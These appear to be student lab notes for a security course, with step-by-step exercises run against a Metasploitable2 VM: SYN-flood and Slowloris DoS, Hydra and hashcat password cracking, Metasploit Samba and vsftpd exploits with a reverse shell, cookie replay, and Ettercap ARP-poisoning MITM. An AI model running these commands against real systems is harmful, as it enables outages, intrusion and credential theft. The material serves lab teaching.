
✅ Exercise 5: Demonstrate DoS Attack

♦ Aim

To perform Denial of Service (DoS) attack using different tools.

♦ Theory (Write Short in Exam)

- DoS Attack: Single system floods target with requests
 - DDoS Attack: Multiple systems attack one target
 - Purpose: Make service unavailable
-

♦ Requirements

- Kali Linux
 - Metasploitable2 (Target IP: 192.168.56.102)
 - Wireshark
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♦ PART 1: Setup Metasploitable

Step 1: Start Metasploitable

Login:

username: msfadmin

password: msfadmin

Step 2: Get IP Address

ifconfig

👉 Example: 192.168.56.102

Step 3: Open Website (Kali)

http://192.168.56.102

👉 Verify target is running

Step 4: Start Wireshark

wireshark

👉 Select eth0 → Start capture

♦ PART 2: DoS using hping3

Step 1: Open Root Terminal

`sudo su`

Step 2: Launch SYN Flood Attack

`hping3 -S 192.168.56.102 -a 192.168.56.200 -p 80 --flood`

👉 Explanation:

- -S → SYN packet
 - -a → spoofed IP
 - -p 80 → target port
 - --flood → continuous attack
-

Step 3: Observe Traffic

👉 In Wireshark:

- Huge packet flow
 - SYN flood visible
-

Step 4: Check Website

👉 Website becomes slow or unavailable

Step 5: Stop Attack

`Ctrl + C`

♦ PART 3: DoS using Metasploit

Step 1: Open Metasploit

`msfconsole`

Step 2: Search Module

search syn flood

Step 3: Use Module

use auxiliary/dos/tcp/synflood

Step 4: Show Options

show options

Step 5: Set Parameters

set RHOSTS 192.168.56.102

set SHOST 192.168.56.101

Step 6: Run Attack

run

Step 7: Observe

- Traffic increases
 - Website stops responding
-

Step 8: Stop

Ctrl + C

◆ PART 4: DoS using Slowloris

Step 1: Clone Tool

git clone <https://github.com/gkbrk/slowloris.git>

Step 2: Navigate

cd slowloris

Step 3: Run Attack

```
python3 slowloris.py -p 80 -s 1200 192.168.56.102
```

👉 Explanation:

- -p 80 → target port
 - -s 1200 → number of sockets
-

Step 4: Observe

- Website becomes slow/unavailable
-

Step 5: Stop

Ctrl + C

◆ Result

- Successfully performed DoS attack
 - Target system became unavailable
-

◆ Conclusion

DoS attacks overload systems and deny service to legitimate users.

✅ Exercise 6: Install Rootkit Detectors

◆ Aim

To install and analyze rootkit detection tools.

◆ Theory (Short)

- Rootkit: Malware that gives root-level access
 - Hidden and difficult to detect
 - Used for spying and control
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◆ Tools Used

- rkhunter
- chkrootkit

◆ PART 1: Install rkhunter

Step 1: Switch to Root

`sudo su`

Step 2: Install Tool

`apt-get install rkhunter -y`

Step 3: Update Database

`rkhunter --update`

Step 4: Run Scan

`rkhunter --check`

👉 Scans system for rootkits

◆ PART 2: Install chkrootkit

Step 1: Install Tool

`apt-get install chkrootkit -y`

Step 2: View Help

`chkrootkit -h`

Step 3: Run Scan

`chkrootkit`

👉 Checks for rootkits

◆ Result

- System scanned for rootkits
 - No malicious rootkits detected (in normal case)
-

◆ Conclusion

Rootkit detection tools help identify hidden malware and improve system security.

🧠 1-Minute Revision

DoS → hping3 / msf / slowloris

rkhunter → scan rootkits

chkrootkit → detect malware

✅ Exercise 7: Password Capturing & Cracking – Complete Execution

◆ PART 1: FTP Password Cracking using Hydra

Step 1: Start Machines

- Open **Kali Linux**
 - Start **Metasploitable2**
-

Step 2: Get IP Address (Metasploitable)

ifconfig

👉 Shows network details

👉 Note IP (example: 192.168.56.101)

Step 3: Open Hydra Tool

hydra

👉 Displays Hydra usage/help

Step 4: Create Password List

cd ~/Desktop

nano passlist.txt

👉 Create wordlist file

Add:

123456

admin

msfadmin

password

Step 5: Run Hydra Attack

```
hydra -l msfadmin -P ~/Desktop/passlist.txt -V ftp://192.168.56.101
```

👉 Explanation:

- -l → username
 - -P → password list
 - -V → show attempts
 - ftp:// → target service
-

Step 6: Output

👉 Correct password will be shown:

```
login: msfadmin password: msfadmin
```

♦ PART 2: ZIP Password Cracking

Step 1: Create File

```
cd ~/Desktop
```

```
nano sample.txt
```

Step 2: Create ZIP with Password

```
zip s1.zip -P abc sample.txt
```

👉 -P sets password (abc)

Step 3: Check File

```
ls
```

Step 4: Convert ZIP to Hash

```
zip2john s1.zip > hash1.txt
```

👉 Converts zip into crackable hash

Step 5: View Hash

```
cat hash1.txt
```

Step 6: Edit Hash File

```
nano hash1.txt
```

👉 Keep only:

```
$pkzip$......:$pkzip$
```

Step 7: Check Hash Mode

```
hashcat -hh | grep -i zip
```

👉 Find correct mode (example: 17210)

Step 8: Run Hashcat

```
hashcat -a 0 -m 17210 hash1.txt passlist.txt
```

👉 Explanation:

- -a 0 → dictionary attack
 - -m → hash type
-

Step 9: Show Password

```
hashcat --show hash1.txt
```

◆ PART 3: 7z Password Cracking

Step 1: Install Required Tools

```
sudo apt update
```

```
sudo apt install p7zip-full john hashcat -y
```

Step 2: Create Sample File

```
cd ~/Desktop
```

```
nano sample1.txt
```

Step 3: Convert to 7z with Password

```
7z a sample1.7z sample1.txt -pabc123
```

👉 Explanation:

- a → add archive
 - -p → password
-

Step 4: Convert 7z to Hash

```
7z2john sample1.7z > hash3.txt
```


👉 Converts 7z → hash format

Step 5: View Hash

```
cat hash3.txt
```

Step 6: Crack Password

```
hashcat -a 0 -m 11600 hash3.txt passlist.txt
```

👉 11600 → 7z mode

Step 7: Show Result

```
hashcat --show hash3.txt
```

◆ (Optional) Using RockYou Wordlist (Better Results)

Unzip Wordlist

```
gunzip /usr/share/wordlists/rockyou.txt.gz
```

Use it in Hashcat

```
hashcat -a 0 -m 11600 hash3.txt /usr/share/wordlists/rockyou.txt
```

🎯 FINAL OUTPUT

- FTP password cracked using Hydra
 - ZIP password cracked using Hashcat
 - 7z password cracked successfully
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⚠ Important Notes (Exam Points)

- Hydra → online attack tool
- Hashcat → fastest password cracker
- John → converts files to hash
- Wordlist → key factor in cracking

Got it 👉 — here is your **Exercise 8 (Metasploit Exploits)** in **perfect exam-writing format**:

✓ Step-by-step

✓ Commands in order

✓ Small explanations (2–3 words style for exam)

✔ Exercise 8: Demonstrate Various Exploits of Metasploit

◆ Aim

To perform exploitation on vulnerable services using Metasploit Framework.

◆ Requirements

- Kali Linux
 - Metasploitable2
 - Host-only network
-

◆ PART 1: Basic Setup & Metasploit Commands

Step 1: Start Metasploitable

Login:

username: msfadmin

password: msfadmin

Step 2: Get Target IP

ifconfig

👉 Get IP (ex: 192.168.56.101)

Step 3: Start Database (Kali)

sudo service postgresql start

sudo service postgresql status

👉 Start DB service

Step 4: Open Metasploit

msfconsole

👉 Launch framework

Step 5: Basic Commands

help # list commands

clear # clear screen

banner # show banner

Step 6: View Modules

show exploits

show payloads

👉 List available modules

Step 7: Scan Target

nmap -sV 192.168.56.101

👉 Find open ports & services

◆ PART 2: Samba Exploit (Port 139)

Step 1: Search Exploit

search samba

👉 Find samba exploits

Step 2: Use Exploit

use exploit/multi/samba/usermap_script

👉 Load exploit module

Step 3: Check Options

show options

Step 4: Set Target & Attacker

set RHOSTS 192.168.56.101

set LHOST 192.168.56.102

set LPORT 4444

Step 5: Set Payload

set payload cmd/unix/reverse

👉 Reverse shell

Step 6: Run Exploit

exploit

Step 7: Access System

sessions

sessions -i 1

ls

whoami

👉 Control target

♦ PART 3: FTP Exploit (vsftpd 2.3.4)

Step 1: Scan Target

nmap -sV 192.168.56.101

👉 Find FTP service

Step 2: Search Exploit

search vsftpd

Step 3: Use Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Step 4: Set Target

set RHOSTS 192.168.56.101

Step 5: Run Exploit

exploit

Step 6: Access System

ls

pwd

👉 Shell access

♦ PART 4: RSH Exploit (Port 513)

Step 1: Install Tool

```
sudo apt install rsh-redone-client -y
```

👉 Install rlogin

Step 2: Connect to Target

```
rlogin 192.168.56.101
```

👉 Direct login

Step 3: Execute Commands

```
ls
```

```
cd /
```

👉 Access system

◆ Payload Concept (Short for Exam)

- **Payload** → malicious code executed after exploit
 - **Reverse shell** → target connects back
 - **Bind shell** → attacker connects to target
-

◆ Result

- Successfully exploited Samba, FTP, and RSH services
 - Gained remote shell access to target system
-

◆ Conclusion

Metasploit is used to identify and exploit vulnerabilities to test system security.

🧠 Super Short Revision (1-minute before exam)

👉 Commands flow:

```
ifconfig
```

```
msfconsole
```

```
nmap -sV IP
```

```
search service
```

```
use exploit/...
```

```
set RHOSTS
```

```
set LHOST
```

```
set payload
```

exploit

sessions -i

Here is your **Exercise 9** in a **clean, step-by-step format (with commands + small explanations)** — perfect for **exam writing + lab execution** 📌

✅ Exercise 9: Passive Scanning, Active Scanning, Cookies Extraction & Session Hijacking

◆ Aim

To perform passive scanning, active scanning, cookies extraction, and session hijacking using security tools.

◆ Requirements

- Kali Linux (**192.168.56.101**)
 - Metasploitable (**192.168.56.102**)
 - Wireshark, Nmap, Ettercap
-

◆ PART 1: Passive Scanning (Wireshark)

Step 1: Open Wireshark

wireshark

👉 Start packet capture tool

Step 2: Select Interface

- Choose eth0
👉 Start capturing packets
-

Step 3: Apply Filter

http

👉 Show only HTTP traffic

Step 4: Generate Traffic

- Open browser → visit any website
-

Step 5: Analyze Packets

- View request/response
 - Check headers and data
-

✅ Result

Packets captured **without interacting with target**

◆ PART 2: Active Scanning (Nmap)

Step 1: Scan Target

`nmap -sV 192.168.56.102`

👉 Detect open ports & services

Step 2: Detailed Scan (Optional)

`nmap -A 192.168.56.102`

👉 OS + version detection

Step 3: Port Scan

`nmap -p 1-1000 192.168.56.102`

👉 Scan specific ports

✅ Result

Active scanning **interacts with target system**

◆ PART 3: Cookies Extraction

Step 1: Open Website

- Go to vulnerable site (e.g., testfire.net)
-

Step 2: Login

- Username: admin
 - Password: admin
-

Step 3: Open Developer Tools

- Right-click → **Inspect**

Step 4: Go to Cookies

- Application → Storage → Cookies

Step 5: Copy Cookie

👉 Copy JSESSIONID

Step 6: Close Browser

Step 7: Open New Browser

- Open same website

Step 8: Paste Cookie

- Replace cookie value with copied one

Step 9: Refresh Page

✅ Result

Logged in **without credentials**

♦ PART 4: Session Hijacking (Ettercap MITM Attack)

Step 1: Open Ettercap (as root)

sudo ettercap -G

👉 Open GUI mode

Step 2: Select Interface

- Choose eth0
👉 Start sniffing

Step 3: Scan Hosts

- Menu → **Hosts** → **Scan for Hosts**

Step 4: Add Targets

- Hosts → **Hosts List**
 - Add:
 - Target 1 → 192.168.56.102
 - (If second machine exists, add it as Target 2)
-

Step 5: Start MITM Attack

- MITM → **ARP Poisoning** → OK

👉 Kali becomes **Man-in-the-Middle**

Step 6: Start Wireshark

wireshark

Step 7: Apply Filter

telnet

◆ Generate Telnet Traffic

Step 8: Start Telnet Service (Metasploitable)

sudo service openbsd-inetd start

Step 9: Verify Port

netstat -ant | grep 23

👉 Port 23 should be LISTEN

Step 10: Connect from Kali

telnet 192.168.56.102

Step 11: Execute Commands

whoami

pwd

ls

Step 12: Create File

echo "hello" > test.txt

Step 13: Observe in Wireshark

👉 You can see:

- Commands typed
- Output
- File contents

✅ Result

- Traffic intercepted
- Data captured successfully

◆ Concepts (Short for Exam)

Passive Scanning

- No interaction
- Example: Wireshark

Active Scanning

- Direct interaction
- Example: Nmap

Session Hijacking

- Taking control of session

Cookies

- Store session information

◆ Conclusion

This experiment demonstrates how attackers can capture data using scanning techniques and hijack sessions in insecure networks.

🧠 1-Minute Revision

Wireshark → Passive scan

Nmap → Active scan

Cookies → Copy JSESSIONID

Ettercap → MITM attack

Telnet → Capture data
